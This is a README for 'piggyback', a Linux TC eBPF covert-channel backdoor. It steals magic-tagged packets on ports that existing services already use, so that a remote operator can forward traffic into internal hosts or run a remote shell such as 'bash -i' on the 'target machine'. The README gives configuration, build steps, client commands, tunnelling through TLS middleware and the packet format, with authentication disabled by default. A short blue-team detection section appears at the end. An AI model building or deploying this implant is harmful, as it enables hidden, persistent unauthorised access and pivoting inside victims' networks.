piggyback/README.md
Dominik Roth 50c9b4df35 piggyback.bpf.c — back to single LISTEN_PORT, simplified port_watched() to one comparison.
piggyback.c — no FWD_HOST, FWD_PORT, or SERVER_IP constants. Daemon auto-detects interface and its own IP from
  getifaddrs. Forward target comes from the client packet always. Config is just IFACE, LISTEN_PORT, AUTH_ENABLED,
  TRUSTED_PUBKEY.

  pb-client.c — CLI flags as you wanted. Always sends the 80-byte header (action + target). Without --key: timestamp=0,
   sig=zeros, daemon in no-auth mode reads action+target and skips verification. With --key: full signed header.

  README.md — SNI note fixed: "must match middleware virtual host config" — it's whatever the middleware requires, the
  operator looks it up. Removed all the wrong advice about changing it.
2026-04-04 18:13:10 +02:00

166 lines
5.1 KiB
Markdown

# piggyback
Covert channel using Linux TC eBPF. Intercepts TCP packets on a port already in use,
steals matching ones before the application sees them, forwards or executes per the
client's instruction. Normal traffic is unaffected. Zero changes to existing services.
```
Mode 1 — Plain TCP
Client Server (:80)
│── TCP packet ────────────→ TC eBPF ingress
│ [MAGIC][header] magic match?
│ YES → TC_ACT_STOLEN → daemon
│ NO → TC_ACT_OK → app (nginx etc.)
Mode 2 — Client wraps in legitimate TLS (middleware terminates SSL)
Client Middleware (:443) Server (:80)
│── valid TLS ──→ │ │
│ [MAGIC] │── [MAGIC][header] ─────→ TC eBPF ingress
│ inside │ (inner bytes fwd) → same as Mode 1
```
Mode 2 is identical server-side. Client sends a real TLS handshake toward
middleware (nginx, Caddy, HAProxy) with the correct SNI so routing works.
Middleware decrypts and forwards inner bytes to the plain TCP backend.
---
## Requirements
- Linux 5.8+ (ring buffer + sk_lookup)
- Root / `CAP_NET_ADMIN` + `CAP_BPF`
- `libbpf`, `clang`, `llvm`, `bpftool`, `libsodium`, `libssl`
```bash
# Fedora
sudo dnf install libbpf-devel clang llvm kernel-headers bpftool libsodium-devel openssl-devel
# Debian/Ubuntu
sudo apt install libbpf-dev clang llvm linux-headers-$(uname -r) bpftool libsodium-dev libssl-dev
```
---
## Configuration
Only two files need editing before compiling. Port must match in both.
### `piggyback.bpf.c`
```c
#define LISTEN_PORT 80 // port to intercept
#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE" // keep in sync with pb-client.c
```
### `piggyback.c`
```c
#define IFACE "" // "" = auto-detect default-route interface
#define LISTEN_PORT 80 // must match piggyback.bpf.c
#define AUTH_ENABLED 0 // 1 = require Ed25519 signature
#define TRUSTED_PUBKEY { 0xAB, ... } // 32-byte pubkey from `make keygen`
```
Forward target, action, and target port are **not configured in the daemon**
they come from the client packet. The daemon has no idea where to forward until
a client tells it.
---
## Build
```bash
make
```
### Generate Ed25519 keypair (for authenticated mode)
```bash
make keygen
# Outputs public key hex → paste into TRUSTED_PUBKEY in piggyback.c
# Saves engagement.key → pass to pb-client with --key (never copy to target)
```
---
## Usage
### Server (target machine)
```bash
sudo ./piggyback
```
### Client (operator machine)
```bash
# Mode 1 — plain TCP, no auth, forward to sshd
./pb-client 1.2.3.4 80 2222
# Mode 2 — through TLS middleware (SNI must match middleware routing)
./pb-client 1.2.3.4 443 2222 --mode tls --sni internal.corp.com
# With auth — forward to custom target
./pb-client 1.2.3.4 80 2222 --key engagement.key --target 10.0.0.5:3389
# Shell execution
./pb-client 1.2.3.4 80 2222 --key engagement.key --action shell --cmd 'bash -i'
# Then connect
ssh -p 2222 user@localhost
```
Full client options:
```
./pb-client <server_ip> <server_port> <local_port> [options]
--mode tcp|tls connection mode (default: tcp)
--sni <hostname> SNI for TLS — must match middleware virtual host config
--key <path> Ed25519 private key PEM (enables auth)
--action forward|shell (default: forward)
--target <ip:port> forward target on server side (default: 127.0.0.1:22)
--cmd <command> shell command for --action shell (default: bash)
-v verbose
```
---
## Auth flow (AUTH_ENABLED=1)
1. `make keygen` — generate Ed25519 keypair
2. Set `TRUSTED_PUBKEY` + `AUTH_ENABLED=1` in `piggyback.c`, recompile daemon
3. Pass `--key engagement.key` to `pb-client` (key stays on operator machine)
4. Client sends: `MAGIC` (6) + 80-byte signed header
5. Daemon verifies Ed25519 sig, checks timestamp (±60s), checks replay ring
6. On pass: executes action from header
7. On fail: connection dropped silently
Signed header format (80 bytes after MAGIC):
```
[0..7] unix timestamp, big-endian uint64
[8] action (0x01=forward, 0x02=shell)
[9..12] target IPv4
[13..14] target port big-endian
[15] reserved
[16..79] Ed25519 sig over bytes [0..15] + server interface IPv4 (4 bytes)
```
Without `--key`: header still sent but timestamp=0 and sig=zeros. Daemon in
no-auth mode reads action+target and skips signature verification.
---
## Detection (Blue Team)
```bash
tc filter show dev eth0 ingress # TC eBPF filters
bpftool prog list # all loaded eBPF programs
bpftool map list # eBPF maps (conn_state, pending, daemon_sock)
```
Baseline `bpftool prog list` on clean systems. Alert on new TC ingress programs
on internet-facing interfaces.
---
## Known Limitations
- **ACTION_FORWARD target is IPv4 only** — header has 4 bytes for target IP
- **Replay ring is size-bounded** — 256 entries, evicted by overwrite not expiry
- **sk_lookup may fail on some kernels** — daemon logs a warning and falls back
(works everywhere except strict NAT scenarios)